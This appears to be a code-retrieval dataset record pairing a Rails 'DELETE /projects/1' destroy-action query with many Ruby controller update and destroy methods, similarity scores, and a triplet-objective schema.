"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @project.update(project_params)\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"def update\n @edit_project = Project.find(params[:id])\n\n respond_to do |format|\n if @edit_project.update_attributes(params[:project])\n format.html { redirect_to @edit_project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @edit_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_project.update(api_project_params)\n format.html { redirect_to @api_project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_project }\n else\n format.html { render :edit }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def project_update(project)\n raise Client::FileboundClientException.new('Id is required', 0) unless project[:projectId].greater_than_zero?\n put('/projects', nil, project)\n end",
"def update\n\t\t@project = Project.find(params[:id])\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @project.update_attributes(params[:project])\n\t\t\t\tformat.html { redirect_to @project, notice: t('app.projects.updated') }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n if @project.update(project_params)\n render :show, status: :ok, location: api_v1_project_url(@project)\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n \t\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to add_path(@project), notice: 'Project was successfully updated.' }\n format.json { render :add, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n params[:project][:problem_ids] ||= []\n params[:project][:target_ids] ||= []\n params[:project][:factor_ids] ||= []\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(projects_path, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: projects_path }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @project.update(project_params)\r\n format.html { redirect_to @project }\r\n format.json { respond_with_bip(@project) }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { respond_with_bip(@project) }\r\n end\r\n end\r\n end",
"def update\n authenticate_user!\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'PUT'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'UpdateProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project\n\t\t\targs[:body]['Project'] = optional[:project]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to projects_path() }\n format.xml { head :ok }\n else\n @edit_mode = true\n @tasks = Task.find_all_by_project_id(@project.id)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def project_updates\n @project = Project.find(params[:id])\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n \n=======\n\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_project_with_http_info(project_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectApi.patch_project ...'\n end\n # verify the required parameter 'project_id' is set\n if @api_client.config.client_side_validation && project_id.nil?\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling ProjectApi.patch_project\"\n end\n # resource path\n local_var_path = '/projects/{project_id}'.sub('{' + 'project_id' + '}', CGI.escape(project_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(opts[:'json_patch'])\n\n # return_type\n return_type = opts[:debug_return_type] || 'SuccessfulProjectUpdate'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oryAccessToken']\n\n new_options = opts.merge(\n :operation => :\"ProjectApi.patch_project\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectApi#patch_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: \"Project was successfully updated.\" }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @project\n if @project.update(project_params)\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n else\n render json: {error: \"Project does not exist\"} , status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7001068",
"0.69119793",
"0.6911771",
"0.6889915",
"0.68893576",
"0.6878936",
"0.6868435",
"0.6858245",
"0.6854234",
"0.6854234",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.6851268",
"0.68509126",
"0.6843325",
"0.68414646",
"0.68414646",
"0.68414646",
"0.68414646",
"0.6840734",
"0.6840666",
"0.6840347",
"0.6830263",
"0.6830052",
"0.68218535",
"0.6818287",
"0.68099326",
"0.68034685",
"0.68034685",
"0.67814577",
"0.67730033",
"0.67597187",
"0.67595947",
"0.67595947",
"0.67564476",
"0.67476964",
"0.6737012",
"0.67209846",
"0.6706842",
"0.67038935",
"0.66789246",
"0.6676122",
"0.6668368",
"0.6660013",
"0.66570413",
"0.6648468",
"0.6634347",
"0.6634347",
"0.6623786",
"0.6623445",
"0.6623445",
"0.6615564",
"0.66152227",
"0.66142696",
"0.6602446",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034",
"0.6601034"
] | 0.0 | -1 |
DELETE /projects/1 DELETE /projects/1.json | def destroy
@project.destroy
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @project.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.delete\n\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.status = 'deleted'\n @project.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end",
"def delete\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n project = Project.find(params[:id])\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n name = @project.name\n @project.destroy\n render json: [\"You have successfullly deleted '#{name}''\"], status: 200\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @project.destroy\r\n respond_to do |format|\r\n format.html { redirect_to projects_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def delete(projects)\n project_ids = projects.collect { |project| project.id } \n args = {ids: project_ids.to_json}\n return @client.api_helper.command(args, \"project_delete\")\n end",
"def delete\r\n\t\t\trender json: Project.delete_by_id(params[:id])\r\n\t\tend",
"def destroy\n\t\[email protected]\n\t\trespond_to do |format|\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to administration_projects_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = current_user.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { render :json => {:message=>\"OK\",:id=>@project.id}, :staus=>:ok}\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n head :no_content\n end",
"def destroy\t\t\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Successfully deleted project.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: t('models.project.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = @client.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to @client }\n end\n end",
"def destroy\n @project.destroy\n\n head :no_content\n end",
"def destroy\n authorize @project\n @project.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end",
"def destroy\n @ourproject = Ourproject.find(params[:id])\n @ourproject.destroy\n\n respond_to do |format|\n format.html { redirect_to ourprojects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project.destroy_all\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'The project was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def delete_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deleteproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { render :json => {:valid => true} }\n end\n end",
"def destroy\n @api_project.destroy\n respond_to do |format|\n format.html { redirect_to api_projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_path, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find_by_permalink(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def delproject(project)\n post('delproject.json', project: project)\n end",
"def destroy\n authorize! :destroy, @project\n @project.destroy\n\n head :no_content\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end",
"def destroy\n Rails.logger.info \"We are deleting project\"\n @todo_project.destroy\n respond_to do |format|\n format.html { redirect_to todo_projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = @projectable.projects.find(params[:id])\n @project.destroy\n track_activity @project\n\n respond_to do |format|\n format.html { redirect_to [@projectable, :projects] }\n format.json { head :no_content }\n end\n end",
